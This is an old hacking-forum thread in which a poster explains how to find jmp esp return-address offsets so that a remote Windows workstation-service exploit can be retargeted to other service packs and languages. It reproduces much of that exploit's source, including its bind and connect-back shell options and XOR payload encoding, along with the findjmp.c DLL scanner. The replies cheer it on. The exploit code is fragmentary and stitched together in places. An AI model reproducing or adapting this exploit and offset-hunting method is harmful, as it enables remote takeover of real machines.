i see a lot of post on how to find some offsets so here is the way i use to find more, i assume that its maybe not the best way but i had some results with this method so...
lets take an exploit, here it's the code for the workstation exploit written by snooq:
CODE
/* * Author: snooq [http://www.angelfire.com/linux/snooq/] * Date: 15 November 2003 * * ++++++++++ THIS IS YET ANOTHER PRIVATE VERSION ++++++++++ * * Another version........ slightly different from the one * on packetstorm & k-otik........ =p * * I've changed the shellcode a bit... ExitThread() instead * of ExitProcess()..... it doens't crash now.. :) * * Also, added an option for u to specify a XOR key to be * used in encoding the payload.... * * This should be the final release....I dun think I'm gonna * improve this further... * * Lastly.. let me iterate this again.... * This code will only work against Win2K that was configured * to grant 'anonymous logon' write access to the log file... * [NB: win2k(on ntfs), by default, don't...] * * Using this against XP will likely fail.... * but if u manage to adapt this code to work for XP too.. * pleaseeeee.. send me a copy tooo.... =) * * +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ */
void changeport(char *code, int port, int offset) { char *ptr; ptr=code+offset; /* Assume Little-Endianess.... */ *ptr++=(char)((port>>8)&0xff); *ptr++=(char)(port&0xff); }
void banner() { printf("\nWKSSVC Remote Exploit By Snooq [jinyean@hotmail.com]\n\n"); }
void usage(char *s) { banner(); printf("Usage: %s [options]\n\n",s); printf("\t-r\tSize of 'return addresses'\n"); printf("\t-a\tAlignment size [0~3]\n"); printf("\t-p\tPort to bind shell to (in 'connecting' mode), or\n"); printf("\t\tPort for shell to connect back (in 'listening' mode)\n"); printf("\t-s\tShellcode offset from the return address\n"); printf("\t-t\tTarget types. ( -H for more info )\n"); printf("\t\tDefault is '-t 1'\n"); printf("\t-H\tShow list of possible targets\n"); printf("\t-l\tListening for shell connecting\n"); printf("\t\tback to port specified by '-p' switch\n"); printf("\t-i\tIP for shell to connect back.\n"); printf("\t\tIf '-i' is not present, the first local IP is used.\n"); printf("\t-e\tEnumerate local IPs interactively. ('listening' mode only)\n"); printf("\t-I\tTime interval between each trial ('connecting' mode only)\n"); printf("\t-T\tTime out (in number of seconds)\n"); printf("\t-k/-K\tXOR key, e.g '-k 43452352' or '-K 0xabcd9897'\n"); printf("\t-h\tTarget's IP. <<< THIS IS MANDATORY >>>\n\n"); exit(0); }
void showtargets() { int i; banner(); printf("Possible targets are:\n"); printf("=====================\n"); for (i=0;i<sizeof(targets)/sizeof(v);i++) { printf("%d) %s",i+1,targets[i].os); printf(" --> 0x%08x (%s)\n",targets[i].jmpesp,targets[i].dll);
while(!alarm_fired) { if (GetMessage(&msg, 0, 0, 0) ) { if (msg.message == WM_TIMER) printf("-> WM_TIMER received...\n"); DispatchMessage(&msg); } }
}
void resetalarm() { if (TerminateThread(t2,0)==0) { err_exit("-> Failed to reset alarm..."); } if (TerminateThread(t1,0)==0) { err_exit("-> Failed to kill the 'sending' thread..."); } }
void do_send(char *host,int timeout) { t1=(HANDLE)_beginthread(sendstr,0,host); if (t1==0) { err_exit("-> Failed to send exploit string..."); } t2=(HANDLE)_beginthread(setalarm,0,timeout); if (t2==0) { err_exit("-> Failed to set alarm clock..."); } }
printf("-> XORing payload with key -> 0x%08x....\n",key);
ptr=code+KEY_OFFSET; *((long *)ptr)=key; ptr=code+CODE_OFFSET; for(i=0;i<(len-CODE_OFFSET);i+=4) { tmp=*((long *)ptr); *((long *)ptr)=tmp^key; get_bytes(tmp^key); for(j=0;j<4;j++) { if (b[j]=='\0') err_exit("-> Payload has 'null'. Try another key..=p"); } ptr+=4; } *(code+len)=0; }
int main(int argc, char *argv[]) {
char opt; char *host, *ptr, *ip=""; struct sockaddr_in sockadd; int i, i_len, ok=0, mode=0, flag=0, enum_ip=0; int align=ALIGN, retsize=RET_SIZE, sc_offset=SC_OFFSET; int target=TARGET, scsize=SC_SIZE_1, port=PORT; int timeout=TIME_OUT, interval=INTERVAL; long retaddr, key=KEY;
WSADATA wsd; SOCKET s1, s2;
if (argc<2) { usage(argv[0]); }
while ((opt=getopt(argc,argv,"a:i:I:r:s:h:k:K:t:T:p:Hle"))!=EOF) { switch(opt) { case 'a': align=atoi(optarg); break;
case 'I': interval=atoi(optarg); break;
case 'T': timeout=atoi(optarg); break;
case 't': target=atoi(optarg); break;
case 'i': ip=optarg; break;
case 'k': key=atol(optarg); break;
case 'K': key=str2long(optarg); break;
case 'l': mode=1; scsize=SC_SIZE_2; break;
case 'e': enum_ip=1; break;
case 'r': retsize=atoi(optarg); break;
case 's': sc_offset=atoi(optarg); break;
case 'h': ok=1; host=optarg; sockadd.sin_addr.s_addr=inet_addr(optarg); break;
case 'p': port=atoi(optarg); break;
case 'H': showtargets(); break;
default: usage(argv[0]); break; } }
if (!ok) { usage(argv[0]); } if (mode) { if ((enum_ip)&&(*ip!='\0')) { usage(argv[0]); } } else { if (enum_ip) { usage(argv[0]); } }
inside search for the os of ur choice and the right dll
personnaly before to use the opcode search i want to verify that the opcode found in the exploit is the same that the one i found on metasploit so lets do a search on win2k sp4 for jmp esp on user32.dll
as we can see the first value is the same that in the exploit and its the same for win2k sp1
so we can search now for other sp
(as u can see the offset for sp3 ru found in the exploit is the same for win2k sp3 us)
now we have the offsets for all win2k us but maybe u r not american and u want to test on ur personnal win2k so we have another way.
findjmp.c
CODE
/* Findjmp.c written by Ryan Permeh - ryan@eeye.com - Summarily modified by I2S-LaB.com http://www.eeye.com
This finds useful jump points in a dll. Once you overflow a buffer, by looking in the various registers, it is likely that you will find a reference to your code. This program will find addresses suitible to overwrite eip that will return to your code.
It should be easy to modify this to search for other good jump points, or specific code patterns within a dll.
It currently supports looking for: 1. jmp reg
2. call reg
3. push reg ret All three options result in the same thing, EIP being set to reg.
It also supports the following registers: EAX EBX ECX EDX ESI EDI ESP EBP */
//This finds useful jump points in a dll. Once you overflow a buffer, by //looking in the various registers, it is likely that you will find a //reference to your code. This program will find addresses of suitible //addresses of eip that will return to your code.
int main( int argc, char **argv ) {
if( argc <= 2 ) usage();
else { char dll[512], //holder for the dll to look in reg[512]; // holder for the register
HMODULE loadedDLL; //base pointer for the loaded DLL
BYTE *curpos; //current position within the DLL
DWORD regnum=GetRegNum(reg); // decimal representation of passed register
DWORD numaddr=0; //accumulator for addresses
if( regnum == -1 ) //check if register is useable { //it didn't load, time to bail printf( "There was a problem understanding the register.\n"\ "Please check that it isa correct IA32 register name\n"\ "Currently supported are:\n "\ "EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP\n"\ );
exit(-1); }
if( (loadedDLL=LoadLibraryA(dll)) == NULL) // check if DLL loaded correctly { //it didn't load, time to bail printf( "There was a problem Loading the requested DLL.\n"\ "Please check that it is in your path and readable\n" ); exit(-1); } else { printf( "\nScanning %s for code useable with the %s register\n", dll, reg ); //we loaded the dll correctly, time to scan it curpos=(BYTE*)loadedDLL; //set curpos at start of DLL
__try { while(1) { if( !memcmp( curpos, jmppat[regnum], 2) ) //check for jmp match { printf( "0x%X\tjmp %s\n", curpos, reg ); // we have a jmp match numaddr++; }
else if( !memcmp( curpos, callpat[regnum],2) ) //check for call match
{ printf( "0x%X\tcall %s\n", curpos, reg ); // we have a call match numaddr++; }
else if( !memcmp(curpos,pushretpat[regnum], 2) ) //check for push/ret match { printf( "0x%X\tpush %s - ret\n", curpos, reg ); // we have a pushret match numaddr++; } curpos++; } } __except(1) { printf( "Finished Scanning %s for code useable with the %s register\n", dll, reg ); printf( "Found %d usable addresses\n", numaddr ); } }
return ret; //return our decimal register number }
// EOF
this piece of code is searching in the dll of ur choice for use of the register of ur choice.
so now on ur personnal computer u can find the jmp esp by doing
findjmp user32.dll esp
and modify the code in function.
so as u can see its not so difficult to found another sp or some win2k in another language.
i hope that this was usefull for someone or u have learn something new.
(if i did some mistake plz correct me)
vnet576
Dec 6 2003, 08:58 PM
Wow..you did a great job explaining specifically how to go about finding offsets for exploits. Thanks pita.
coder
Dec 6 2003, 09:02 PM
very nice post, propers to the author!
/action runs off to play with new toys
I especially like findjmp.c - very useful!
Yosam
Dec 6 2003, 09:42 PM
Very nice explaination on how to use offsets,
thanks a lot for a findjmp.c source code, gonna compile it asap
big props to the author.
RESPECT!!
biboupoki
Dec 6 2003, 10:50 PM
thanx good job !!!
nitrofuran
Dec 7 2003, 12:47 AM
BIG THX for find jump real nice
hidden
Dec 7 2003, 01:24 AM
really good job and nice explain BIG THX
Basti
Dec 7 2003, 08:59 AM
plz delete this
darkside
Dec 7 2003, 09:38 AM
Nice explaination, good work mate
Train25
Dec 8 2003, 02:52 AM
Nice post......looks like its going to be another long night playing about...
Xion
Dec 8 2003, 08:25 PM
Big thx for the exploit
yuliang11
Dec 9 2003, 01:15 AM
this is a good tutorial. do yo u have anymore these kinds of tutorials on exploits programming? it would be good if u can post it on the tutorial section .
Kynroxes
Dec 9 2003, 06:14 AM
rulezzzz I note this !! tks for the sharing !!
tribalgoa
Dec 10 2003, 10:40 AM
grrrrrrrrrrreat stuff man !!!!
trunks
Dec 10 2003, 04:23 PM
very useful info thanks for sharing dude
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.